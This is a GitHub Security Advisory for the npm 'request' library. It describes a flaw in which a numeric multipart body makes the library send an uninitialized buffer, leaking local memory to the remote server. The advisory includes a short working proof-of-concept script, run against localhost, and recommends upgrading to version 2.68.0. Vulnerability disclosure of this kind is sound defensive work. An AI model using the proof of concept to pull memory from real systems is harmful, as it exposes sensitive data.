GHSA-7xfp-9c55-5vqj
GitHub Security Advisory
Remote Memory Exposure in request
Advisory Details
Affected versions of `request` will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of `body` is `number`, then a buffer of that size will be allocated and sent to the remote server as the body.
## Proof of Concept
```js
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
```
## Recommendation
Update to version 2.68.0 or later
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